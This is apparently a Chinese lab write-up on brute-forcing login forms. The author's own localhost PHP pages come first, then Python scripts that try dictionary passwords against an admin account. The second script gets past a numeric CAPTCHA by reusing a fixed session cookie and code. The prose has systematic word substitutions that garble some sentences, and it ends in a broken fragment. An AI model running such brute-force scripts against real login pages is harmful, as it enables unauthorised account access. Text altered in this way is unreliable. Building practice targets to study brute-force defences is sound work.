<!DOCTYPEhtml> <html><head><meta charset="utf-8"> <?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午3:20 */ session_start(); $pwd=$_POST["password"]; $name=$_POST["name"]; if($name=="") {die("用户名不能为空");} if($pwd=="") {die("密码不能为空");} if($name=="admin"&&$pwd=="1234") {echo"登录成功!!!";setcookie("user","$name",time()+3600);} else{echo"登录失败";} ?> </head> </html>
只须要使用requests模块来进行请求访问,使用bs4来判断登录是否成功,附上代码:
无验证码暴力破解的python脚本
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests from bs4 import BeautifulSoup def crack(username='admin', password='1234566'): # 定义一个暴力破解的函数 print('正在尝试帐号:%s,密码:%s' % (username, password)) # 回显输出 url = 'http://localhost:63342/untitled2/Loginl.html' # 定义须要暴破请求的地址 datas = {'name': 'admin', 'password': password} # 定义暴力破解的帐号和密码 header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } # 定义访问数据包的请求头,由于若是有防御网站会限制ua req = requests.post(url, datas, headers=header, ) # 发送请求 # print req.content html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8") # 定义响应内容为html res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode( 'unicode-escape').encode('utf-8') # 获取响应信息 print res if '登录成功' in res: # 判断是否登录成功 exit("密码为%s" % password) if __name__ == '__main__': for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines(): # 暴力破解的字典 crack(password=psw) pass
这一部分太简单了,咱们很容易就实现破解。 因此很少描述。
咱们经过PGPstrom和PGPcharm实现了上一部分,而后在第二个部分的时候,咱们发现PHP页面的url是会随时根据验证码的变化而变化的,那为了解决这个不稳定的问题,固然咱们也能够选择在本机系统下直接运行,这个时候就须要用到xampp了。
具体实现步骤以下:
咱们在xampp的安装目录下,新建一个文件夹把咱们实验所需的文件放进去:
图MyProject
确保Xampp的apache打开。
经过localhost:8001/LoginMid.html访问咱们编写好的页面
你们能够看到在此页面中咱们加入了验证码。 稍后贴出相关代码
咱们输入相关信息,验证一下代码。发现经过xampp直接运行,咱们的url是能够直接使用的
配置好了页面,咱们要开始攻击了。编写好python脚本,同时注意:
为了能在windows下直接使用python命令,咱们须要在系统的环境变量里添加python路径!把它变成咱们的一部分!
脚本编好了,软件能够帮咱们下载须要的插件,可是在windows环境下,咱们须要在cmd中手动下载,首先咱们进入到/Python27/Scripts/
中,在这个路径下咱们可使用其中的pip进行咱们的下载:
PS:若是自带的pip的版本太低须要更新,跟着命令行的提示一步步走就好了
在windows下使用python与在软件内相同,因为咱们的代码使用了request模块、bs4以及lxml,这都是咱们如今须要下载的。
pip install requests
pip install bs4
pip install (你所下载的lxml的保存路径)/lxml-4.2.3-cp27-cp27m-win_amd64.whl
(PS:lxml本身在网上下载,要对应python版本,我下的是2.7的)
9.保证咱们代码里的信息与网页信息同样:
10.接下来咱们直接执行:python attack_3.py
<!DOCTYPEhtml><html><head><meta charset="utf-8"> <title>暴力破解测试页面</title> </head> <body> <div align="center"><h1>暴力破解测试页面-难度medium</h1></div> <form action="LoginMid.php" method="post"onsubmit="return judge();" name="form"> <fieldset> <legend><b>请输入信息</b></legend> <p>用户名:<input type="text" name="name" id="name"></p> <p>密码:<input type="password" name="password"id="password"></p> <p>验证码:<input type="text" name="yzm" id="yzm"> <img src="yzm.php" onclick="this.src= 'yzm.php?nocache='+Math.random()" style="color:white"></p> <p><input type="submit" value="登陆"></p> </fieldset> </form> </body> </html>
<!DOCTYPEhtml> <html> <head> <metacharset="utf-8"> <?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午4:03 */ session_start(); $pwd=@$_POST["password"]; $name=@$_POST["name"]; $yzm=@$_POST["yzm"]; if($name=="") {die("user can't be NULL");} if($pwd=="") {die("password can't be NULL");} if($yzm=="") {die("yzm can't be NULL");} if($yzm!=$_SESSION['VCODE']){ die("<script>alert('yzm error!!');location='".$_SERVER['HTTP_REFERER']."'</script>");} if($name=="admin"&&$pwd=="1114") {echo"success!!!";setcookie("user","$name",time()+3600);} else {echo"failed"; } ?> </head></html>
<?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午4:04 */ session_start(); Header("Content-type:image/PNG"); //提示用户生成PNG的图片文件 $im= imagecreate(60,25); //建一个基于调色板的图像 $back= imagecolorallocate($im, 245, 245, 245); //分配颜色 imagefill($im,0,0,$back); //图像填充 $vcodes= ""; for($i=0;$i<4;$i++){ $font=imagecolorallocate($im,0,0,0); /*rand()随机函数*/ $authnum=rand(0,9);//验证码的随机数 $vcodes.=$authnum; imagestring($im,5,9+$i*10,5,$authnum,$font); } $_SESSION['VCODE']=$vcodes; imagepng($im); //把图片输出到浏览器文件 imagedestroy($im); //释放图片资源 ?>
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests from bs4 import BeautifulSoup RCode = '6989' def crack(username='admin', password='1234566'): print'trying user:%s,pwd:%s,yzm:%s' % (username, password, RCode) # cookie={'security': 'low' , 'PHPSESSID' :'rkp71r263ucl7gg2i7t878ieli'} url = 'http://localhost:8001/MyProjects/LoginMid.php' datas = {'name': 'admin', 'password': password, 'yzm': RCode} header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Connection': 'keep-alive', 'Cookie': 'PHPSESSID=rkp71r263ucl7gg2i7t878ieli', # 不带cookie验证码会没法使用 'Referer': 'http://localhost:8001/MyProjects/LoginMid.html', 'Upgrade-Insecure-Requests': '1' } req = requests.post(url, datas, headers=header, ) # print req.content html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8") res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode( 'unicode-escape').encode('utf-8') print res if 'success!!!' in res: exit("pwd is %s" % password) if __name__ == '__main__': # crack() for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines(): crack(password=psw) pass
这其中要用到字典,我用的字典是本身生成的。路径在python脚本中会用到哦!!!
网上的都要积分,穷苦人民还得本身动手。
此次实践大大的加强了个人动手能力,不断地百度,不断地报错,不断地调试,终于仍是实现啦!
同时我发现:
.exe
文件支持的,使用时记得导入路径!